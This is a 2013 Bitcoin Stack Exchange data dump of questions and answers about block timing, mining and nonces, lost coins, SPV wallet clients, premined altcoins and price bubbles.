  <row Id="16608" PostTypeId="2" ParentId="16607" CreationDate="2013-11-12T20:22:36.713" Score="1" Body="&lt;p&gt;Any transactions in a block that is no longer part of the longest chain will revert to unconfirmed (assuming they're not in the new longest chain) and return to the mempool. In most cases, assuming the transactions remain valid (i.e. the outputs they spend aren't already spent in the new longest chain), said transactions will simply be mined into a new block on the longest chain.&lt;/p&gt;&#xA;" OwnerUserId="1161" LastActivityDate="2013-11-12T20:22:36.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16609" PostTypeId="1" AcceptedAnswerId="16620" CreationDate="2013-11-12T20:23:10.503" Score="2" ViewCount="285" Body="&lt;p&gt;A new block will be created in approximately 10 minutes, but I saw on blockchain.info that these two blocks were found only two minutes apart!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zl08g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How come that the time between the first two listed blocks is just two minutes?&lt;/p&gt;&#xA;" OwnerUserId="8714" LastEditorUserId="5406" LastEditDate="2015-05-13T09:27:21.997" LastActivityDate="2015-05-13T09:27:21.997" Title="Why was the time between these two blocks not approximately 10 minutes?" Tags="|block|difficulty|block-interval|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16610" PostTypeId="2" ParentId="16604" CreationDate="2013-11-12T20:27:57.043" Score="2" Body="&lt;p&gt;If two blocks are found simultaneously (and this is not very uncommon -- see &lt;a href=&quot;http://blockchain.info/orphaned-blocks&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/orphaned-blocks&lt;/a&gt; for some examples) nodes will consider whichever block they saw first to be the tip of the longest chain, and so miners will begin working on whichever block they saw first. The block that eventually becomes part of the longest chain is whichever block the next block is found on, that is, whichever block the miner who finds the next block sees first. The size of the blocks doesn't matter, besides the fact that a larger block will propagate more slowly, meaning that there's an increased chance of that block getting orphaned and not becoming part of the longest blockchain.&lt;/p&gt;&#xA;" OwnerUserId="1161" LastActivityDate="2013-11-12T20:27:57.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16611" PostTypeId="1" CreationDate="2013-11-12T20:45:06.583" Score="3" ViewCount="1685" Body="&lt;p&gt;I've been doing a lot of reading on mining and software related to mining but I can't quite get my head wrapped around the specific nature of what is being hashed together. So far I feel like the current block header, and a nonce are hashed together in hopes of finding a hash that is less than the current target, if it is, you get 25BTC. Here's where I am confused, according to the psuedocode &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3047&quot;&gt;https://bitcoin.stackexchange.com/a/3047&lt;/a&gt; . The only value that changes is the nonce, and that is a fixed possible hex/integer ex: from 0 to 0xFFFFFFFF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it that the difficulty can increase if there are a finite number of attempts to change the nonce?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right about hashing together the block header with the nonce?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I referenced this &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_work&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Proof_of_work&lt;/a&gt; and it makes perfect sense.. except for the fact that I still feel like the nonce is the only value that changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the 32-bit nonce yields way more possibilities that I can fathom and hashing together every possible nonce value is actually what is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8721" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2016-03-06T19:30:30.160" Title="What values are hashed in the SHA-256 algorithm, and what would be the next iteration until a possible header is found?" Tags="|hash|algorithms|sha256|nonce|mining-technical-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16612" PostTypeId="2" ParentId="16611" CreationDate="2013-11-12T21:18:32.203" Score="5" Body="&lt;p&gt;When the nonce range is exhausted, miners change the extraNonce field of the generation transaction. This changes the Merkle root in the header and allows a new range of nonces to be attempted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the Merkle root is 256 bits, this can be repeated indefinitely.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-11-12T21:18:32.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16613" PostTypeId="1" CreationDate="2013-11-12T22:28:21.427" Score="1" ViewCount="644" Body="&lt;p&gt;I know that you get bitcoins by mining, but mining is just lottery, right? What I want to know is what miners do to deserve bitcoins, or the money is just randomly given without requiring someone to work for it?&lt;/p&gt;&#xA;" OwnerUserId="7386" LastEditorUserId="5406" LastEditDate="2016-03-10T09:10:24.960" LastActivityDate="2016-03-10T09:10:24.960" Title="What do miners do to deserve bitcoin?" Tags="|mining-reward|mining-theory|" AnswerCount="2" CommentCount="9" ClosedDate="2013-11-13T00:38:09.227" ContentLicense="CC BY-SA 3.0" />
  <row Id="16614" PostTypeId="2" ParentId="16613" CreationDate="2013-11-12T22:37:30.820" Score="2" Body="&lt;p&gt;Miners keep the bitcoin network running&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Miners create new bitcoins, but&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin network adjusts its own mining difficult so that more there are miners less bitcoins each miner receives. This keeps the money supply steady (not inflatory - you simply cannot &quot;print more bitcoins&quot; like you do with fiat currencies as USD). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mining requires a lot of power, so miners face the rising cost of electricity and how much you need to invest into mining equipment to have your mining operations profitable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Miners also confirm bitcoin network transactions. When you send someone bitcoins, miners check that your transaction is genuine and not double-spent attempt.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is also related question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/16526/how-does-a-difficulty-increase-affect-a-miners-income&quot;&gt;How does a difficulty increase affect a miner&amp;#39;s income?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-11-12T22:37:30.820" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16615" PostTypeId="2" ParentId="16599" CreationDate="2013-11-12T22:44:06.273" Score="3" Body="&lt;p&gt;I have successfully used &lt;a href=&quot;http://electrum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Electrum wallet&lt;/a&gt; with cold storage. I found this one of the most novice friendly options, though getting money out from the cold storage is still quite a complex task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, here is a tutorial how to create a two wallet: online and offline. Then you can transfer bitcoins from online wallet to offline wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.electrum.org/en/latest/coldstorage.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.electrum.org/en/latest/coldstorage.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you transfer bitcoins back to online wallet, you create a raw transaction on online wallet, then go to the offline wallet to sign it, bring the transaction file back to online wallet on USB stick and broadcast it to bitcoin network.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="2751" LastEditDate="2016-11-18T17:20:53.187" LastActivityDate="2016-11-18T17:20:53.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16616" PostTypeId="1" CreationDate="2013-11-12T22:51:20.513" Score="4" ViewCount="864" Body="&lt;p&gt;I've recently noticed the term &quot;midas&quot; creep up in crypto currency related conversations, in phrases like &quot;might implement midas&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody enlighten me on what this is, preferably with links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7157" LastActivityDate="2013-11-12T23:01:35.287" Title="What is &quot;Midas&quot;?" Tags="|terminology|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16617" PostTypeId="2" ParentId="16616" CreationDate="2013-11-12T23:01:35.287" Score="4" Body="&lt;p&gt;Found it, it's the codename for Mt Gox's new trading engine&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our new trading engine is finished and soon to be deployed after a couple of hardware updates. Code-named &quot;Midas&quot;, we're currently bench-testing the engine at over 500,000 trades per second, but Midas is capable of much more than that. We're really looking forward to showing you what it can do, and are pretty certain you'll love it too.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;source &lt;a href=&quot;https://www.mtgox.com/press_release_20130805.html&quot; rel=&quot;nofollow&quot;&gt;https://www.mtgox.com/press_release_20130805.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7157" LastActivityDate="2013-11-12T23:01:35.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16618" PostTypeId="2" ParentId="16613" CreationDate="2013-11-12T23:29:22.697" Score="0" Body="&lt;p&gt;Bitcoin is a payment system that has a number of characteristics that make it superior for some applications, e.g. international money transfer, online commerce, and peer-to-peer money transmissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining serves the purpose to slowly spread sufficient liquidity to the community, in order for it to be usable. Also, mining serves the stability of the Bitcoin network by validating transactions, and protecting against fraud. People giving their electricity and hardware are reimbursed by the miner's reward, creating an incentive to do what is good for the network. In exchange every user gets to use the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mining reward is given out in a kind of lottery, but since it is being given out so often and through the miners forming mining pools, the reward is actually spread pretty evenly to all miners.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-11-12T23:29:22.697" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16619" PostTypeId="2" ParentId="16609" CreationDate="2013-11-12T23:38:28.260" Score="3" Body="&lt;p&gt;10 minutes is the average time between blocks that the network tries to attain (by adjusting the target/difficulty).  It is not a fixed thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the way mining works, there is a great deal of random variation in the time between blocks.  A block may be found seconds after the last one or hours may go by between blocks.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastActivityDate="2013-11-12T23:38:28.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16620" PostTypeId="2" ParentId="16609" CreationDate="2013-11-12T23:46:27.320" Score="4" Body="&lt;p&gt;There are a few things to know about the frequency of blocks:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Every hash has the same chance of finding a block. So, times between blocks are randomly distributed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The difficulty (i.e. the expected number of hashes required to find the next block) is only adjusted every 2016 blocks. With ten minutes between blocks that would be every 14 days. However, since a lot of hashing power is being added to the network every day, the hashing power quickly starts to exceed the difficulty that it was estimated to accomodate, and the average time between blocks starts to get lower until the difficulty is adjusted again. So right now, we are probably closer to a block every 7 minutes in average than every 10 minutes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-11-12T23:46:27.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16621" PostTypeId="2" ParentId="16597" CreationDate="2013-11-13T00:58:54.680" Score="0" Body="&lt;p&gt;The cost to abort current work is essentially zero. If you haven't found a block yet, you haven't accomplished anything you care about. So you can restart to include new transactions at near zero cost. You don't have to restart if you don't want to. Miners can either try to get new transactions into blocks as soon as possible or not bother.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future, people will probably work harder to get new transactions into blocks as soon as possible. Right now, the 25 BTC block reward dwarfs any transaction fees. But in the future, getting as many transaction fees as possible may be worth extra effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If two blocks are broadcast at about the same time, there's no good way to know which will ultimately be accepted. You have to wait to see which one gets confirmations. Everyone wants to mine on the longest chain (to increase the chances they get to keep their block reward), so as soon as one gets even a slight advantage, its advantage should grow.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-11-13T00:58:54.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16622" PostTypeId="2" ParentId="16606" CreationDate="2013-11-13T01:56:03.040" Score="3" Body="&lt;p&gt;There's no such thing as 'aborting'. It's all random anyway. The chance of solving a block on the first try is equal to the chance of solving one on the 1000th try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's like the difference between picking the same lottery numbers all your life or picking different ones each week. There is no difference. &lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2013-11-13T01:56:03.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16623" PostTypeId="1" CreationDate="2013-11-13T02:22:16.470" Score="0" ViewCount="7084" Body="&lt;p&gt;I cannot find any good articles or webpages on this, is it possible to run CGMiner with both an AMD and a NVidia graphics card installed? I think I can remember reading something way back that said you shouldn't but can. Does anyone know any concrete information on it?&lt;/p&gt;&#xA;" OwnerUserId="2931" LastEditorUserId="2306" LastEditDate="2016-02-05T17:45:57.503" LastActivityDate="2016-02-05T17:45:57.503" Title="Can I mine with CGMiner or BfgMiner with both an AMD and NVidia GPU on the same MOBO?" Tags="|gpu|mining-software|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16624" PostTypeId="1" CreationDate="2013-11-13T03:40:38.423" Score="3" ViewCount="2071" Body="&lt;p&gt;I'm sure that this question has been asked before, but I just can't seem to find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a limit of 21 million coins to be mined, then what happens if Bitcoin wallets get deleted? Will there still be some percentage of mining that occurs to make up for the lost coins? &lt;/p&gt;&#xA;" OwnerUserId="8725" LastEditorUserId="5406" LastEditDate="2014-06-17T14:39:26.007" LastActivityDate="2014-11-23T02:01:50.610" Title="Does Bitcoin account for deleted bitcoins over time?" Tags="|shrinking-money-supply|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16625" PostTypeId="2" ParentId="16624" CreationDate="2013-11-13T04:17:21.573" Score="0" Body="&lt;p&gt;Sadly, lost Bitcoins are lost... never to be re-incarnated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, your (non-lost) bitcoins should rise in value because of such loss occurring over time.&lt;/p&gt;&#xA;" OwnerUserId="6193" LastActivityDate="2013-11-13T04:17:21.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16627" PostTypeId="2" ParentId="16624" CreationDate="2013-11-13T10:20:48.200" Score="2" Body="&lt;p&gt;If Bitcoin wallets get deleted, lost, or otherwise inaccessible, then the Bitcoins contained in them cannot be accessed anymore. There is no compensation for these &quot;lost&quot; Coins, and it is hard to see how there could be any such compensation. After all, nobody can prove that they lost some data. Hence any compensation scheme would likely be open to fraud.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a consequence, Bitcoin has been called deflationary because presumably some such loss of Bitcoins will always happen. However, this does not mean that there will not be any mining after all Bitcoins have been created. Mining is driven by two kinds of rewards for the miners, the new Bitcoins (which will cease at some point) and the transaction fees that get transferred from the senders to the miners. Whilst usually it currently works just fine to send not-too-small transactions with zero fees, including one might just speed up transactions, so Bitcoin users actually have some (albeit possibly small) incentive to offer the miners a reward for their activity.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-11-13T10:20:48.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16628" PostTypeId="2" ParentId="9107" CreationDate="2013-11-13T10:43:28.613" Score="1" Body="&lt;p&gt;There has been a partial analysis as part of an academic claim that not relaying a block in some situations is advantageous for a mining pool. The paper is currently in &lt;a href=&quot;http://arxiv.org/abs/1311.0243&quot; rel=&quot;nofollow&quot;&gt;preprint&lt;/a&gt; and its conclusions are hotly disputed, including on the &lt;a href=&quot;https://bitcoinfoundation.org/blog/?p=310&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Foundation's Blog&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that &lt;em&gt;there is indeed no direct reward for relaying blocks&lt;/em&gt;. According to that preprint, in some circustances, there is even a penalty for too quickly relaying blocks you mined yourself, because it allows others to work on the most profitable chain. The existence of this negative incentive depends on the assumption that you can (at least partially) monopolize the network, such that when someone else mines a new block you can more quickly (or widely) spread your own block, in the nick of time, than the other new one propagates.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-11-13T10:43:28.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16629" PostTypeId="1" CreationDate="2013-11-13T13:20:39.387" Score="7" ViewCount="1241" Body="&lt;p&gt;As far as I know, when I use Electrum I'm just choosing servers to trust that hold the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in this &lt;a href=&quot;http://www.nytimes.com/2013/11/17/magazine/switzerlands-proposal-to-pay-people-for-being-alive.html?pagewanted=2&amp;amp;_r=0&amp;amp;smid=tw-share&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;recently published article&lt;/em&gt;&lt;/a&gt; I read this about Multibit:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It uses a slightly weaker trust model than Bitcoin-Qt. In SPV mode, with clients like Multibit and Hive, it still scans the blockchain, and what it assumes is whatever blockchain has the majority of miners on it [is correct]. Instead of verifying the entire contents, it just trusts that the majority of miners are honest. It's still peer to peer. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does this mean that Multibit's SPV implementation is more &quot;P2P&quot; than Electrum? Does it connect to peers (other thin-client users) instead of servers?&lt;/p&gt;&#xA;" OwnerUserId="2751" LastEditorUserId="2751" LastEditDate="2016-04-10T13:42:48.680" LastActivityDate="2016-04-10T13:42:48.680" Title="Is Electrum's SPV (thin-client) implementation not P2P (as opposed to Multibit's)?" Tags="|multibit|electrum|thin-clients|spv|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16630" PostTypeId="2" ParentId="16629" CreationDate="2013-11-13T13:31:23.750" Score="4" Body="&lt;p&gt;Electrum is not peer-to-peer (P2P). It only connects to electrum-specific servers to broadcast your transactions and to receive transactions. It's very similar to a web-wallet, however you're the one who holds the keys. So the Electrum client signs the transaction with your private key (that you hold), and then sends it to electrum-specific servers that take care of broadcasting it out to other peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MultiBit on the other hand does connect to other peers without any proxy server, so it is P2P.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both Electrum and MultiBit clients download the blockchain headers (not the entire content) so they're considered Simplified Payment Verification (SPV) clients.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2013-11-13T14:08:09.287" LastActivityDate="2013-11-13T14:08:09.287" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="16631" PostTypeId="2" ParentId="16624" CreationDate="2013-11-13T13:46:29.370" Score="0" Body="&lt;p&gt;As @pyramids and @john-devor explained, as it stands today, the bitcoin mining rules will not make up for any lost bitcoins. So in theory the total amount of bitcoins in circulation will never reach the full amount initially defined by the protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think about it, it's very difficult to identify &quot;lost&quot; coins. Just because a wallet is not touched in years, it doesn't necessarily mean the private key was lost (as likely as it may appear).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, Bitcoin is only sofware, and that software can be modified in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If somewhere down the line people find that there aren't enough bitcoins to serve the global economy (remember that most people will not be trading BTCs but mBTCs or uBTCs, etc) nothing is stopping the community and developers from agreeing on a new ceiling and implementing that in a future version of all bitcoin clients, effectively making more coins available for mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be a tricky change from a socio-economic perspective, because it would have a significant impact on the value of the existing coins, but it is possible.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2013-11-13T13:46:29.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16632" PostTypeId="1" CreationDate="2013-11-13T14:46:36.780" Score="0" ViewCount="368" Body="&lt;p&gt;I don't really understand which transactions a miner includes in a block. Since the transactions are hashed, any newly included transaction in a block should cause a restart of finding the correct nounce, shouldn't it? So a miner has to collect the whole set of transactions he wants to include in the block he is calculating for before beginning to find the nounce?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume it works the following way:&#xA;A Miner collects all transactions reaching him while the network still calculates the nounce for the block before. If he receices a newly found block from another miner, the includes all transactions that reached him up to this time and begins trying to finde the node. Is this correct?&lt;/p&gt;&#xA;" OwnerUserId="8734" LastEditorUserId="5406" LastEditDate="2016-04-28T14:41:21.787" LastActivityDate="2016-04-28T14:41:21.787" Title="How long do miner collect transactions to include in a block?" Tags="|block|mining-theory|transaction-selection|" AnswerCount="1" CommentCount="0" ClosedDate="2014-01-09T20:28:24.987" ContentLicense="CC BY-SA 3.0" />
  <row Id="16633" PostTypeId="2" ParentId="16624" CreationDate="2013-11-13T14:50:41.733" Score="0" Body="&lt;p&gt;The other answers are only partially correct. BitCoin uses ECDSA keys to secure wallets. Your public address is simply the public key of the keypair, and your &quot;wallet&quot; has the private key for each public address (note: it doesn't show you this key as too many people would do foolish things with it). Currently there's no practical means to reverse a public key to find the private. So coins secured by a lost private key (lost the wallet or otherwise) are inaccessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, ECDSA is susceptible to &lt;a href=&quot;http://en.wikipedia.org/wiki/Shor%27s_algorithm&quot; rel=&quot;nofollow&quot;&gt;Shor's algorithm&lt;/a&gt;. Quantum processors are limited to 4-qubits, last I looked, so BitCoin's 256-bit keys are safe for the time being. Eventually Quantum Processors will get to the point where they can crack 256-bit ECDSA. Just before that happens BitCoin has a built-in mechanism to announce the use of a new address algorithm, everyone starts using that and life is good still. Just after those processors are available someone will undoubtedly use them to crack the wallets which have not been upgraded and grab the BitCoins, returning them to circulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this was an intended &quot;feature&quot; of BitCoin. ECDSA was the best we had (still the best of the well cryptanalyed algorithms, as of writing), but we've known for some time that someday quantum processors would make it obsolete. In any case it's likely that 256-qubit processors will not be available for a decade, possibly more, so nothing to worry about for a while.&lt;/p&gt;&#xA;" OwnerUserId="4742" LastActivityDate="2013-11-13T14:50:41.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16636" PostTypeId="2" ParentId="16629" CreationDate="2013-11-13T15:16:21.307" Score="5" Body="&lt;p&gt;MultiBit connects to (typically) four bitcoinds at random at start up. It then picks the best peer (using ping times, advertised blockchain height and the version of the peer to decide) and uses that as the download peer to get the block headers from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is thus using one peer to catch up the blockchain from where it previously knew about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It listens to all four connections to hear about all the new broadcast transactions and uses this to work out a 'transaction confidence'. If four peers tell it a transaction exists, it has more confidence that the transaction is real.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it sends a transaction, it sends it via the single download peer and then listens on the other peers to hear that transaction 'echo' back from the network. Once it has heard the transaction it just sent come back via other peer(s) it can be confident that the transaction is 'out in the Bitcoin network'.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-11-13T15:16:21.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16637" PostTypeId="2" ParentId="14152" CreationDate="2013-11-13T15:31:04.797" Score="0" Body="&lt;p&gt;Well, I don't think what you are looking for does exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to know that bitcoind only keeps your data in binary format. When it receives and stores blocks, it will check for transactions involving addresses in your wallet. All the other ones are just written to the disk.&#xA;Since this data is binary, it is extremely slow to search through it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Programs that allow you to look up every transaction and block have a more complex data structure with many indexes meaning greater storage volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Meni and Joe mention in the comments, &lt;a href=&quot;https://en.bitcoin.it/wiki/Abe&quot; rel=&quot;nofollow&quot;&gt;Abe&lt;/a&gt; seems to be something that can help you, though it will need additional disc space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another Block Explorer implementation that I know of, is the one from the BitcoinJS team that is written in Node.js. It can be found on &lt;a href=&quot;https://github.com/bitcoinjs/node-bitcoin-explorer&quot; rel=&quot;nofollow&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-11-13T15:31:04.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16639" PostTypeId="1" AcceptedAnswerId="16648" CreationDate="2013-11-13T16:12:31.710" Score="2" ViewCount="1266" Body="&lt;p&gt;Did the developers of the various premined coins have to wait for those coins to be mined first or did they change the code to first issue themselves the premined coins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm referring to the list of coins at &lt;a href=&quot;http://altcoins.com/scamcoins&quot; rel=&quot;nofollow&quot;&gt;http://altcoins.com/scamcoins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="5406" LastEditDate="2016-04-01T09:35:12.537" LastActivityDate="2017-03-17T12:41:59.747" Title="How are some coins premined?" Tags="|alternatives|mining-reward|altcoin-development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16640" PostTypeId="1" AcceptedAnswerId="16660" CreationDate="2013-11-13T16:25:05.923" Score="3" ViewCount="373" Body="&lt;p&gt;Before the &lt;a href=&quot;http://news.slashdot.org/story/13/04/10/215227/bitcoin-value-collapses-possibly-due-to-ddos&quot; rel=&quot;nofollow&quot;&gt;burst due to massive DDOS attacks&lt;/a&gt; on most Bitcoin trade sites, the market price rose from 30 USD in January 2013 to over 250 USD in April.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mechanism of collapse - the DDOS attacks - is pretty clear and transparent. I wonder though, what mechanisms, machinations, influences or other external sources influenced the market that caused such bubble growth in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears the market is still vulnerable to such (or similar) mechanisms (currently we seem to observe a similar growth), and I'd really like to learn how such events work - how do such bubbles of price appear and grow? Are they natural element of the market, self-propelling machines of enthusiasm of masses, possibly following some global events/trends, or are they created by subtle, or less subtle manipulations? &lt;/p&gt;&#xA;" OwnerUserId="4101" LastActivityDate="2018-09-16T09:27:53.650" Title="How does the market bubble?" Tags="|market|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16641" PostTypeId="2" ParentId="16640" CreationDate="2013-11-13T16:29:38.083" Score="0" Body="&lt;p&gt;I think there are so many different variables in place that it's hard to predict. My opinion is that it's not a bubble. There's a lot of people believing in Bitcoin. Especially with the large positive exposure in China, adoption has increased a lot. So I think the steep curve is just based off of a large adoption rate. But again, who really knows?&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2013-11-13T16:29:38.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16642" PostTypeId="1" AcceptedAnswerId="16647" CreationDate="2013-11-13T16:42:34.527" Score="1" ViewCount="338" Body="&lt;p&gt;I would like to restrict the permissions on my &lt;code&gt;wallet.dat&lt;/code&gt; file but but I don't want to stop the &lt;code&gt;bitcoind daemon&lt;/code&gt; from functioning. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the bear minimum permissions that need to be on &lt;code&gt;wallet.dat&lt;/code&gt; to make it functional, while making it as secure as possible? &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-11-13T17:30:38.347" Title="What permissions should wallet.dat have to be as secure as possible and still work?" Tags="|security|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16643" PostTypeId="2" ParentId="16640" CreationDate="2013-11-13T16:49:32.920" Score="4" Body="&lt;p&gt;I suspect it is much the same as with bubbles in other markets---but let me admit that I have little evidence for it. See the &lt;a href=&quot;http://www.zerohedge.com/sites/default/files/images/user3303/imageroot/2013/10/book_buy_sell_sell_new_1024x1024.jpg&quot; rel=&quot;nofollow&quot;&gt;famous cartoon that is all over the net&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the fact that getting money on and off Bitcoin exchanges tends to be fairly slow might contribute to the bubbles we have seen. As some initial increase in the exchange rate happens to persist, more and more money becomes willing to take the risk of betting on the trend continuing. And after seeing just how much happened just in the week or weeks it took to get verified at a Bitcoin exchange and to move money onto it, many such speculators may become ever more willing to take such a bet. Eventually you end up with a significant fraction of on-exchange Bitcoins in the hands of those who are only willing to keep so many of them because the crazy rate of return is just enough (perceived) compensation for the risk of the bubble bursting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At that point, the bubble is a self-fulfilling but increasingly fragile prophecy, as any failure to bring in ever more demand, maybe due to some piece of bad news or maybe indeed even just due to some unwelcome DDOS may cause the appreciation to slow below the rate required to keep those high risk speculators' coins from being sold. And when that happens, we have a quick crash, followed by wild swings as traders try to find a consensus what the new value of Bitcoin may be.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-11-19T20:10:44.373" LastActivityDate="2013-11-19T20:10:44.373" 